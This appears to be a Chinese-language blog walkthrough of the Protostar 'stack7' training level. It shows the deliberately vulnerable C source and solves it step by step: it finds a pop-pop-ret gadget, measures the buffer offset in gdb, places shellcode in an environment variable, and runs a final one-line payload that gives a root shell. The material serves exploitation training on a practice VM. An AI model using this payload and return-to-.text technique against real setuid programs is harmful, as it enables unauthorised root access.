About

Stack6 introduces return to .text to gain code execution.
The metasploit tool "msfelfscan" can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
This level is at /opt/protostar/bin/stack7

Source code

InBlock.gif#include <stdlib.h>
InBlock.gif#include <unistd.h>
InBlock.gif#include <stdio.h>
InBlock.gif#include < string.h>
InBlock.gif
char *getpath()
InBlock.gif{
InBlock.gif     char buffer[64];
InBlock.gif    unsigned int ret;
InBlock.gif
    printf( "input path please: "); fflush(stdout);
InBlock.gif
    gets(buffer);
InBlock.gif
    ret = __builtin_return_address(0);
InBlock.gif
     if((ret & 0xb0000000) == 0xb0000000) {
InBlock.gif        printf( "bzzzt (%p)\n", ret);
InBlock.gif        _exit(1);
InBlock.gif    }
InBlock.gif
    printf( "got path %s\n", buffer);
InBlock.gif     return strdup(buffer);
InBlock.gif}
InBlock.gif
int main( int argc, char **argv)
InBlock.gif{
InBlock.gif    getpath();
InBlock.gif

InBlock.gif
}

这题看上去跟上一题很眼熟是吧,用上一题的解决思路很容易发现也不行了,因为if语句限制更严格了,上一种方法无法绕过。而这题怎么办呢?再仔细看看发现有return strdup(buffer),我们知道通常返回的值是放在eax寄存器中的,所以这题关键的地方就是在getpath返回时通过修改eax来执行shellcode。

第一步如何找到eax的位置,通过提示知道可以用 msfelfscan或 objdump来定位。这里采用前者:
root@bt:~/Desktop/shellcode# msfelfscan -p stack7
[stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret

第二步是找到RET的地址,方法见Stack6 长度是80

第三步测试下程序执行的下一步的在哪里。。。
user@protostar:/opt/protostar/bin$ python -c 'print    "a"*80 + "\x92\x84\x04\x08" + "c"*100' > /tmp/stack7
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r < /tmp/stack7
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc

Program received signal SIGSEGV, Segmentation fault.
0x63636363 in ?? ()

然后再准备定位一下。。。

user@protostar:/opt/protostar/bin$ python -c 'print    "a"*80 + "\x92\x84\x04\x08" + "1234567890"*10' > /tmp/stack7
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r    < /tmp/stack7
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa 1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890

Program received signal SIGSEGV, Segmentation fault.
0x32313039 in ?? ()
(gdb) q
A debugging session is active.

                Inferior 1 [process 10958] will be killed.

Quit anyway? (y or n) y
user@protostar:/opt/protostar/bin$ python -c 'print    "a"*80 + "\x92\x84\x04\x08" + "1"*10+"2"*10+"3"*10+"4"*10+"5"*10+"6"*10+"7"*10+"8"*10+"9"*10+"0"*10' > /tmp/stack7
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r < /tmp/stack7
Starting program: /opt/protostar/bin/stack7 < /tmp/stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa 1111111111222222222233333333334444444444555555555566666666667777777777888888888899999999990000000000

Program received signal SIGSEGV, Segmentation fault.
0x32323131 in ?? ()
(gdb)

计算得8个字节

第四步是有ENV插入个SHELLCODE即可,这个SHELLCODE是从网上找的
user@protostar:/opt/protostar/bin$ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
user@protostar:/opt/protostar/bin$ ~/getenvaddr SHELLCODE ./stack7
SHELLCODE will be at 0xbffff981

最后执行效果如下:

user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\x92\x84\x04\x08" + "b"*8 + "\x81\xf9\xff\xbf"' | ./stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa bbbbbbbb侚

                                                                         # id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# whoami
root
#